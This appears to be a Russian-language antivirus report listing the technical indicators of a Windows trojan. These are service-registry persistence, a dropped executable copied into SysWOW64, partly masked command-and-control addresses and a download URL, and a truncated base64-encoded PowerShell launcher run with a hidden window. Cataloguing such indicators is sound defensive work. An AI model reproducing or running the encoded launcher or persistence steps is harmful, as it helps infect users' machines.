Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\UIRibbon] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\UIRibbon] 'ImagePath' = '"%WINDIR%\SysWOW64\odbcjt32\UIRibbon.exe"'
- 'UIRibbon' "%WINDIR%\SysWOW64\odbcjt32\UIRibbon.exe"
- 'UIRibbon' %WINDIR%\SysWOW64\odbcjt32\UIRibbon.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABwAGEAZQBkAHYAZQBlAHMAPQAnAGcAdQBjAGgAZwBlAGUAcgBoAGkAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABjAHUAcgBgAGkAdAB5AGAAUAByAE8AdABvAEMATwBsAC...
- %HOMEPATH%\706.exe
- %WINDIR%\syswow64\odbcjt32\uiribbon.exe
- %HOMEPATH%\706.exe в %WINDIR%\syswow64\odbcjt32\uiribbon.exe
- '71.#0.31.38':80
- '18#.#4.252.13':443
- http://bi####droger.com/wp-admin/CJ83/
- http://18#.##.252.13:443/768DQSDMhD55CE8/BRptT8/pHcVgWO1os/D8nW1M/6ebx6EmQA22/4S1OqF7DXL1YZX9Fu/ via 18#.#4.252.13
- DNS ASK bi####droger.com
- '%HOMEPATH%\706.exe'
- '%WINDIR%\syswow64\odbcjt32\uiribbon.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABwAGEAZQBkAHYAZQBlAHMAPQAnAGcAdQBjAGgAZwBlAGUAcgBoAGkAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABjAHUAcgBgAGkAdAB5AGAAUAByAE8AdABvAEMATwBsAC...' (со скрытым окном)